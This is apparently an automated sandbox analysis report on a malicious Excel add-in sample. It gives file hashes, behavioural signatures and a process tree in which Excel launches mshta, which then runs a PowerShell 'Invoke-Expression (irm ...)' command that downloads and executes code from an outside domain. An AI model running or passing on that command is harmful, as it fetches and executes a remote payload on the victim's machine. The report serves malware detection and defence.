Analysis
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max time kernel
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max time network
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platform
windows10-2004_x64 -
resource
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resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 19:12
Static task
static1
Behavioral task
behavioral1
Sample
3ef3c9d76fe7e5dd9ac6ce8c0cbdcefec0c702f58e927ad5c3b16463933235eb.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
3ef3c9d76fe7e5dd9ac6ce8c0cbdcefec0c702f58e927ad5c3b16463933235eb.xll
Resource
win11-20240508-en
General
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Target
3ef3c9d76fe7e5dd9ac6ce8c0cbdcefec0c702f58e927ad5c3b16463933235eb.xll
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Size
12KB
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MD5
04c57a110cfba2e4d07ba93ae3813766
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SHA1
c971c2b16d778b044a79dc92edaefd8d13c0b81f
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SHA256
3ef3c9d76fe7e5dd9ac6ce8c0cbdcefec0c702f58e927ad5c3b16463933235eb
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SHA512
e783e5a0cd7b4db2c6c3a17331b876a20f16890bb5d5839fdf3cd73e565c45792422180135a0fdab18379da305dd1a095b5ac2df71e01e7318f14769fecd1907
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SSDEEP
192:iL29RBzDzeobchBj8JONmONlJrugrEPEjr7AhsG:829jnbcvYJO/9ugvr7Cd
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2216 3520 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 45 1796 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 3520 EXCEL.EXE 3520 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3520 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1796 powershell.exe 1796 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1796 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 3520 EXCEL.EXE 3520 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 3520 EXCEL.EXE 3520 EXCEL.EXE 3520 EXCEL.EXE 3520 EXCEL.EXE 3520 EXCEL.EXE 3520 EXCEL.EXE 3520 EXCEL.EXE 3520 EXCEL.EXE 3520 EXCEL.EXE 3520 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 3520 wrote to memory of 2216 3520 EXCEL.EXE mshta.exe PID 3520 wrote to memory of 2216 3520 EXCEL.EXE mshta.exe PID 3520 wrote to memory of 2216 3520 EXCEL.EXE mshta.exe PID 2216 wrote to memory of 1796 2216 mshta.exe powershell.exe PID 2216 wrote to memory of 1796 2216 mshta.exe powershell.exe PID 2216 wrote to memory of 1796 2216 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3ef3c9d76fe7e5dd9ac6ce8c0cbdcefec0c702f58e927ad5c3b16463933235eb.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3520 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2216 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1796
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Network
MITRE ATT&CK Enterprise v15
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\3ef3c9d76fe7e5dd9ac6ce8c0cbdcefec0c702f58e927ad5c3b16463933235eb.xll
Filesize12KB
MD504c57a110cfba2e4d07ba93ae3813766
SHA1c971c2b16d778b044a79dc92edaefd8d13c0b81f
SHA2563ef3c9d76fe7e5dd9ac6ce8c0cbdcefec0c702f58e927ad5c3b16463933235eb
SHA512e783e5a0cd7b4db2c6c3a17331b876a20f16890bb5d5839fdf3cd73e565c45792422180135a0fdab18379da305dd1a095b5ac2df71e01e7318f14769fecd1907
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82